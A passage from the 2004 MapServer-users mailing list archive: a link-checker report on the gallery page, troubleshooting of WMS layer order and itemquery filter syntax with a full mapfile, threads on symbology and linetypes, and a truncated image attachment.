conditions. Look at the file `LICENSE' within this distribution. Get the
newest version at http://linkchecker.sourceforge.net/
Write comments and bugs to calvin at users.sourceforge.net

Start checking at 2004-01-12 11:25:11-008

URL        http://www.dnr.state.mn.us/hunting/deer/mapit.html
Name       Deer
                Finder
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 39, col 27
Real URL   http://www.dnr.state.mn.us/hunting/deer/mapit.html
Check Time 4.819 seconds
Result     Error: 404

URL        http://maps.dnr.state.mn.us/mapserver_demos/tests/
Name       MapServer Test                   Suite
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 54, col 27
Real URL   http://maps.dnr.state.mn.us/mapserver_demos/tests/
Check Time 6.272 seconds
Result     Error: 404 Not Found

URL        http://terrasip.gis.umn.edu/projects/
Name       TerraSIP Applications
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 87, col 27
Real URL   http://terrasip.gis.umn.edu/projects/
Check Time 6.405 seconds
Result     Error: (119, 'Operation now in progress')

URL        http://cdcm.methaz.org/cdcm
Name       Hurricane Hazard Information for Caribbean Coastal Construction
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 166, col 14
Real URL   http://cdcm.methaz.org/cdcm
Check Time 4.431 seconds
Result     Error: 404 Not Found

URL        http://www.puertogijon.es/Mapserver/gis.asp
Name       Gijon Port Authority (Spain)
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 154, col 19
Real URL   http://www.puertogijon.es/Mapserver/gis.asp
Check Time 7.316 seconds
Result     Error: recursive redirection encountered:
 http://www.puertogijon.es/Mapserver/gis.asp
  => http://www.puertogijon.es/error.htm
  => http://www.puertogijon.es/error.htm

URL        http://ils.io.inf.br/ier_map/ierf.htm
Name       Estrada
                Real, Brazil
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 147, col 19
Real URL   http://ils.io.inf.br/ier_map/ierf.htm
Check Time 7.538 seconds
Warning    Server 'Microsoft-IIS/5.0' has no anchor support, removing
           anchor from request
Result     Error: 404 Objeto nao encontrado

URL        http://metadata.gd.itb.ac.id/sik/
Name       Map of the Institute of Technology, Bandung,
In
donesia
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 199, col 12
Real URL   http://metadata.gd.itb.ac.id/sik/
Check Time 2.113 seconds
Result     Error: (7, 'getaddrinfo failed')

URL        http://www.cartoweb.de
Name       MapServer in a touristinformation-system
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 209, col 27
Real URL   http://www.cartoweb.de/user/allgemein_start.php
Check Time 10.462 seconds
Info       Last modified Mon, 12 Jan 2004 19:25:42 GMT
Warning    URL path is empty, assuming '/' as path
           Effective URL http://www.cartoweb.de/user/allgemein_start.php
Result     Error: 401 Authorization Required

URL        http://www.mohid.com/Prestige/Simulations_Gallery.htm

Name       Modelling predictions of the Prestige oil spill.
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 317, col 12
Result     Error: URL has whitespace at beginning or end

URL         http://www.ns-verbrechen.at
Name       Reason for eviction - non-Ayrian
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 330, col 12
Result     Error: URL has whitespace at beginning or end

URL        http://mapserver.ocmlt.go.th/
Name       NuMap/Thailand Traffic
Repo
rting
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 323, col 19
Real URL   http://mapserver.ocmlt.go.th/
Check Time 6.476 seconds
Result     Error: (119, 'Operation now in progress')

URL        http://www.nrm.qld.gov.au/lris/webgis/burnett/index.html

Name       Burnett
                  Catchment Web GIS
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 391, col 19
Result     Error: URL has whitespace at beginning or end

URL        http://213.201.25.155/mapes/navega.php
Name       City Council of Girona
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 398, col 12
Real URL   http://213.201.25.155/mapes/navega.php
Check Time 8.117 seconds
Result     Error: (119, 'Operation now in progress')

URL        http://www.gaf.de/projects.html
Name       GAF Global Experience
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 417, col 12
Real URL   http://www.gaf.de/projects.html
Check Time 3.264 seconds
Result     Error: 404 Not Found

URL        http://opengis.jrc.it
Name       Melilla
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 457, col 19
Real URL   http://opengis.jrc.it/
Check Time 6.401 seconds
Warning    URL path is empty, assuming '/' as path
Result     Error: (119, 'Operation now in progress')

URL        http://www2.tetonwyo.org/mapserver/tc/
Name       Teton County (Wyoming) Map                            Server
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 462, col 12
Real URL   http://www2.tetonwyo.org/mapserver/
Check Time 5.085 seconds
Warning    HTTP 301 (moved permanent) encountered: you should update this
           link.
           Server 'Microsoft-IIS/5.0' has no anchor support, removing
           anchor from request
           Effective URL http://www2.tetonwyo.org/mapserver/
Result     Error: 403 Access Forbidden

URL        http://www.ggh-mapservice.de/index.php3
Name       GGH - Mapservice

Parent URL http://mapserver.gis.umn.edu/gallery.html, line 423, col 19
Real URL   http://www.ggh-mapservice.de/index.php3
Check Time 27.924 seconds
Result     Error: more than five redirections, aborting

URL        http://map2.fgdl.org/mapserver/start/thememaps.html
Name       Florida Mapper
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 525, col 19
Real URL   http://www.fgdl.org/mapserver/start/thememaps.html
Check Time 11.299 seconds
Warning    HTTP 301 (moved permanent) encountered: you should update this
           link.
           Effective URL http://www.fgdl.org/mapserver/start/thememaps.html
Result     Error: 404 Not Found

URL        http://www.dnr.state.mn.us/mapping/landview/
Name       Minnesota DNR's                                 LandView
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 567, col 12
Real URL   http://www.dnr.state.mn.us/mapping/landview/index.html
Check Time 3.794 seconds
Warning    Effective URL
           http://www.dnr.state.mn.us/mapping/landview/index.html
Result     Error: 404

URL        http://wms.co.fulton.ga.us
Name       Fulton County, Georgia Mapserver
Parent URL http://mapserver.gis.umn.edu/gallery.html, line 528, col 19
Real URL   http://wms.co.fulton.ga.us/
Check Time 250.777 seconds
Warning    URL path is empty, assuming '/' as path
Result     Error: timed out

Thats it. 22 errors in 117 links found
Stopped checking at 2004-01-12 11:30:41-008 ( 5.491 minutes)

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From nicolas.fortin at ec.gc.ca  Mon Jan 12 12:30:05 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Mon, 12 Jan 2004 15:30:05 -0500
Subject: [Mapserver-users] WMS LAYERS=
Message-ID: 

Hi list,

When I make a WMS request with the layers parameters like LAYERS=2,1

In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top of
layer 2 but it isn't the case...why??

Even if I change to LAYERS=1,2 ... no change

In the mapfile, layer 1 is at the end of the file and is always the top
layer on others applications using this mapfile.


Thx for your help,

Nicolas Fortin 
Math?maticien, Programmeur, Analyste de donn?es 
SMC-Qu?bec Hydrologie, Environnement Canada 
1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
(418)648-2516 
nicolas.fortin at ec.gc.ca  



From kgeurts at gis.umn.edu  Mon Jan 12 13:00:46 2004
From: kgeurts at gis.umn.edu (Kari Geurts)
Date: Mon, 12 Jan 2004 15:00:46 CST
Subject: [Mapserver-users] RE: gallery links
Message-ID: <200401122100.i0CL0kjK029074@dingo.software.umn.edu>

In response to the dead gallery links, I will personally check each of the
links. It is very helpful if the providers alert us when their site goes
down. I will be contacting those providers that have dead links and ask
that you provide a new url or I will remove the application from the
gallery page. 

Thank you for your cooperation,

Kari A. Geurts

Department of Forest Resources
University of Minnesota
115 Green Hall
1530 Cleveland Ave. N.
St. Paul, MN 55108-6112
Phone: 612-624-3459
Email: kgeurts at gis.umn.edu



From mohan at gmx.co.uk  Mon Jan 12 13:09:51 2004
From: mohan at gmx.co.uk (Mohan Seetharam)
Date: Mon, 12 Jan 2004 16:09:51 -0500
Subject: [Mapserver-users] Graticule MapServer file format conversion
Message-ID: <00cf01c3d950$6ce899e0$2be6e88c@clarku.edu>

This is a multi-part message in MIME format.

------=_NextPart_000_00CC_01C3D926.82136680
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Greetings,
I recently acquired some data in Graticule MapServer file formats (.gbm, =
.gdb, .gix, .gsf, and .mdx) and would very much appreciate some advice =
on ways to import these into shapefiles or mapinfo interchange files. Is =
it possible to do this using the demo version of the "mapserver turbo 5" =
software? Alternatively, do any freeware/shareware converters exist?
Thanks very much.

Mohan
------=_NextPart_000_00CC_01C3D926.82136680
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable











Greetings,


I recently acquired some =
data in=20
Graticule MapServer file formats (.gbm, .gdb, .gix, .gsf, and .mdx) and =
would=20
very much appreciate some advice on ways to import these into shapefiles =
or=20
mapinfo interchange files. Is it possible to do this using the demo =
version of=20
the "mapserver turbo 5" software? Alternatively, do any =
freeware/shareware=20
converters exist?


Thanks very =
much.


 


Mohan


------=_NextPart_000_00CC_01C3D926.82136680--



From steve.lime at dnr.state.mn.us  Mon Jan 12 13:26:49 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 12 Jan 2004 15:26:49 -0600
Subject: [Mapserver-users] itemquery doesn't find records
Message-ID: 

The problem is in your qstring. Remember that qstring is a valid
MapServer filter expression. I say filter because depending on the
backend data source it may not be limited to a MapServer class
expression. On to the point.

[ID_EMPLAZ] = '02-02290'

is not valid for 2 reasons. First, the [ID_EMPLAZ] is not quoted, and
second the whole thing needs to be in parenthesis.

('[ID_EMPLAZ]' = '02-02290')

Should work. It's not, however, the best way to do it. Since your
simply testing equality of a single attribute just set qitem to
ID_EMPLAZ and qstring to 02-02290 and it should work too, but faster.

Steve

>>> "Nikolai Vladychevski"  1/11/2004 2:43:25 PM >>>
Hello, 

I am trying about 4 hours to make an itemquery query without success.
I
have tryed many qstring values but I still get:
"msQueryByAttributes(): Search returned no results. No matching
record(s) 
found." error. 

I don't know what to do, can somebody give any tips how to debug this ?


This is my MapServer version:
MapServer version 4.0.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF
INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE 

This is the line in perl that I output to the browser:
print 
$q->header(-location=>"http://$ENV{HTTP_HOST}/cgi-bin/mapserv?layer=enlaces&

layer=emplazamientos&map=".uri_escape("/var/www/html/map/my.map")."&scale=20

0&program=".uri_escape("/cgi-bin/mapserv")."&savequery=true&zoomdir=0&mode=i

temquery&qitem=".uri_escape("ID_EMPLAZ")."&qstring=".uri_escape("[ID_EMPLAZ]

= 
'02-02290'")."&qlayer=emplazamientos&mapext=-117.124014+14.530688+-86.709056

+32.718120&codempl=02-02290&map_web_imagepath=".uri_escape("/var/www/html/tm

p/")."&map_web_imageurl=".uri_escape("/tmp/")."&zoomsize=2"); 

This is my map gobal extent: 

EXTENT -117.124014 14.530688 -86.709056 32.718120 

This is the layer definition 

 LAYER
       NAME emplazamientos
       DATA emplazamientos
       DEBUG ON
       STATUS OFF
       TYPE POINT
       TOLERANCEUNITS pixels
       TOLERANCE 5
       FILTERITEM 'ID_EMPLAZ'
       FILTER '%codempl%'
       CLASS
           NAME 'emplazamientos'
           COLOR 0 0 255
           SYMBOL 'circle'
           SIZE 5
           TEMPLATE emplazamiento.html
       END
  END 

The record exists: 

[root at localhost map]# ogrinfo -al data/emplazamientos.shx |grep -A3 -B4

02-02290
OGRFeature(emplazamientos):9
 NOMBRE (String) = Esperanza
 LAT (Real) =    -115.4952
 LON (Real) =      32.6488
 ID_EMPLAZ (String) = 02-02290
 ID_CLASE (Integer) = 2290
 POINT (-115.49517100 32.64879900)

The POINT is inside the extent:
 -117.124014 (-115.49517100) -86.709056
  14.530688 (  32.64879900)  32.718120 

The template file exists: 

[root at localhost map]# cat emplazamiento.html
Emplazamiento: [ID_EMPLAZAM]:

Nombre: [NOMBRE]

Latitud: [LAT]

Longitud: [LON]

ID_Clase: [ID_CLASE]

[root at localhost map]# 


Full mapserver file: 


MAP
 NAME TRANSMISION
 STATUS ON
 IMAGETYPE PNG
 EXTENT -117.124014 14.530688 -86.709056 32.718120
 SIZE 800 600
 SHAPEPATH "data"
 IMAGECOLOR 255 255 255
 FONTSET fonts/fonts.list
 WEB
   HEADER map_header.html
   TEMPLATE map.html
   FOOTER map_footer.html
   MINSCALE 0.001
   MAXSCALE 200
   IMAGEPATH "/var/www/html/tmp"
   IMAGEURL "/tmp"
   METADATA
	WMS_TITLE "MapServer"
	WMS_ABSTRACT "Despliege de Enlaces y Emplazamientos"
	WMS_ACCESSCONSTRAINTS none
   END 

 END 

 SCALEBAR
   IMAGECOLOR 255 255 255
   LABEL
     COLOR 0 0 0
     SIZE TINY
   END
   STYLE 1
   SIZE 100 2
   COLOR 0 0 0
   UNITS KILOMETERS
   INTERVALS 2
   TRANSPARENT FALSE
   STATUS ON
 END 

 QUERYMAP
   SIZE 800 600
   STATUS ON
   STYLE HILITE
   COLOR 255 0 0
 END

 REFERENCE
	IMAGE "mxmap.gif"
       EXTENT -117.124014 14.530688 -86.709056 32.718120
	SIZE 250 155
	STATUS ON
	MAXBOXSIZE 246
	COLOR -1 -1 -1
	OUTLINECOLOR 255 0 0
 END 

 PROJECTION
	"proj=laea"
	"ellps=clrk66"
	"lat_0=23"
	"lon_0=-110"
 END 

 LAYER
	NAME region
	DATA region
	STATUS DEFAULT
	TYPE POLYGON 

	CLASS
	    COLOR 255 255 255
	    OUTLINECOLOR 32 32 32
	END
  END 

 LAYER
	NAME enlaces
	DATA enlaces
	STATUS ON
	TYPE LINE
       TOLERANCEUNITS pixels
	TOLERANCE 3
	CLASSITEM "id_enlace"
	LABELITEM "id_enlace"
	SYMBOLSCALE 0.001
	LABELMAXSCALE 0.1
	CLASS
	    COLOR 0 255 0
	    OUTLINECOLOR 0 0 0
	    LABEL
		TYPE TRUETYPE
		ANTIALIAS TRUE
		FONT arial
		COLOR 0 0 0
		BACKGROUNDCOLOR 255 255 230
		SIZE 8
		MINSIZE 8
		MAXSIZE 12
		ANGLE AUTO
		POSITION CC
		MINFEATURESIZE AUTO
		BUFFER 2
	    END
	TEMPLATE enlaces.html
	END
 END 

 LAYER
	NAME emplazamientos
	DATA emplazamientos
	DEBUG ON
	STATUS OFF
	TYPE POINT
       TOLERANCEUNITS pixels
	TOLERANCE 5
	FILTERITEM 'ID_EMPLAZ'
	FILTER '%codempl%'
	CLASS
	    NAME 'emplazamientos'
	    COLOR 0 0 255
	    SYMBOL 'circle'
	    SIZE 5
	    TEMPLATE emplazamiento.html
	END
  END 

  SYMBOL
 	NAME 'circle'
	TYPE ELLIPSE
	POINTS 1 1 END
	FILLED TRUE
  END
END 

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From steve.lime at dnr.state.mn.us  Mon Jan 12 13:28:46 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 12 Jan 2004 15:28:46 -0600
Subject: [Mapserver-users] visual symbology guide
Message-ID: 

There's already a spot on the wiki where this good live (a great idea by
the way). Please check out:

  http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SymbolExamples

Steve

>>> "David Fawcett"  1/12/2004 10:52:24 AM
>>>
Bart, 

I agree that it would be very useful to new and existing users to have
a repository of symbol definitions and a picture of their resulting
image.  This could be in the documentation, the 'how to', or on the
Wiki.  I believe that you can link to images on a Wiki page.  The
benefit of the Wiki is that anyone can modify it at any time.  

David.

>>>  1/12/2004 10:29:09 AM >>>
Hi David, list,

I know this part of the Wiki. I always felt there was a shortage of
SYMBOL
examples. Also pictures say so much more than words, so visual
examples
would be great (screendumps).

But for this I am dependent on Mapserver users sending me their
examples.
Until now I have not received any, so please send me some great
examples
and I will make sure they will get to the community one way or
another.

Thanks in advance.

Best regards,
Bart

> Bart,
>
> I am not sure if there is a more detailed guide anywhere else, but
> there is a start on the Wiki
> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SymbolExamples).
>
> If you have more information, that would be a great place to put it.
>
> David.
>
> David J. Fawcett
> MN Office of Environmental Assistance
>
>>>>  1/9/2004 3:03:54 PM >>>
> Hi list,
>
> is there a visual symbology guide from Mapserver showing the
> cartographic
> power of Mapserver?
>
> If there is none, I would be interested in creating one if people
> would
> send me screendumps of examples.
>
> Best regards,
> Bart
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
>

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From steve.lime at dnr.state.mn.us  Mon Jan 12 13:30:10 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 12 Jan 2004 15:30:10 -0600
Subject: [Mapserver-users] display of lines using ISO standard
 linetypes
Message-ID: 

This may be a stupid question, but which ISO standard are you refering?
Where can I get at the documentation?

Steve

>>> "Stephen Clark"  1/9/2004 12:40:38 PM >>>
hi all,

I am looking for a way to use the SYMBOL attribute to display ISO
linetypes
such as:

ISO dash,
ISO dash space
ISO long-dash dot

as examples.

Has anyone implemented this feature for the display of linetypes?

thanks
Stephen


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From nicolas.fortin at ec.gc.ca  Mon Jan 12 13:31:40 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Mon, 12 Jan 2004 16:31:40 -0500
Subject: [Mapserver-users] WMS LAYERS=
Message-ID: 

Hi Heryk,

Only the layer 1 is set to default, all other are set to OFF.  I thought
that doesn't matter in WMS cause you only got the layers you are querying.

I set layer 1 to ON and 
1- try LAYERS=2,1 and only got layer 2
2- try LAYERS=1 and got nothing

I set layer 1 to OFF (like the others) and 
1- try LAYERS=2,1 and only got layer 2
2- try LAYERS=1 and got nothing

Weird...
Nick

-----Message d'origine-----
De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
Envoy? : Monday, January 12, 2004 4:00 PM
? : 'nicolas.fortin at ec.gc.ca'
Objet : RE: [Mapserver-users] WMS LAYERS=


Hi,
Are your layers set to "default" in the mapfile? Is so, you will be calling
layers 1,2 and all the layers that are set to default! So your might be
calling layers 1 and 2 a second time around! Try setting them to "ON".

Bonne chance!
H?ryk


-----Message d'origine-----
De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? :
Monday, January 12, 2004 3:30 PM ? : mapserver-users at lists.gis.umn.edu Objet
: [Mapserver-users] WMS LAYERS=


Hi list,

When I make a WMS request with the layers parameters like LAYERS=2,1

In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top of
layer 2 but it isn't the case...why??

Even if I change to LAYERS=1,2 ... no change

In the mapfile, layer 1 is at the end of the file and is always the top
layer on others applications using this mapfile.


Thx for your help,

Nicolas Fortin 
Math?maticien, Programmeur, Analyste de donn?es 
SMC-Qu?bec Hydrologie, Environnement Canada 
1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
(418)648-2516 
nicolas.fortin at ec.gc.ca  

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From stephen.clark at focus.ca  Mon Jan 12 14:42:43 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Mon, 12 Jan 2004 14:42:43 -0800
Subject: [Mapserver-users] display of lines using ISO standardlinetypes
References: 
Message-ID: <029b01c3d95d$649ca800$6c000a0a@sclark>

This is a multi-part message in MIME format.

------=_NextPart_000_0298_01C3D91A.563B74A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Steve,

I have attached a bitmap of the Linetypes I use in AutoCad as well as the
actual line files that AutoCad uses.
These files are readable using any ascii editor.

I believe I am referring to the AutoCad ISO standard.  I was not aware there
was more than one ISO standard.

thanks
Stephen

----- Original Message ----- 
From: "Steve Lime" 
To: ; 
Sent: Monday, January 12, 2004 1:30 PM
Subject: Re: [Mapserver-users] display of lines using ISO standardlinetypes


> This may be a stupid question, but which ISO standard are you refering?
> Where can I get at the documentation?
>
> Steve
>
> >>> "Stephen Clark"  1/9/2004 12:40:38 PM >>>
> hi all,
>
> I am looking for a way to use the SYMBOL attribute to display ISO
> linetypes
> such as:
>
> ISO dash,
> ISO dash space
> ISO long-dash dot
>
> as examples.
>
> Has anyone implemented this feature for the display of linetypes?
>
> thanks
> Stephen
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>

------=_NextPart_000_0298_01C3D91A.563B74A0
Content-Type: image/jpeg;
	name="acad_linetypes01.jpg"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="acad_linetypes01.jpg"

/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEP
ERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4e
Hh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCAE3Aa8DASIA
AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA
AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3
ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm
p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA
AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx
BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK
U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3
uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD2L4ie
OLnwv4h0PRbPTNMmGo2VzcvcXb+VHbpbWyzyMxSGV2yu7oCcgevGPB8TdQnUNDb+FJFMYmyrXxAj
5BkP/Et4QEEFuikEEg1nfG1inxO8GuBISuh64cRrlv8AkFdh3NVkEM9tpy2+m2gYPc3NnZxMDHLM
8aLkbvlMURh3FsbJH3IimMFq9bA4CliILm00vfpvLfVW232Su2eLmuZ1ME04q93t1+zto++270S3
L/iP4savouh6nqp0Xw9eLpsSzTwQy3MblTNHCdpmsEQlXlQMu7I54yCK4Ff2qJj/AMyNbf8AgXH/
APGK0fieRH8HfEsLu99JPpNrem/lnd2Zpb60aRFG7bgPlWOCxdGJIztHNeOPh7oniT9sS58B2kcO
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
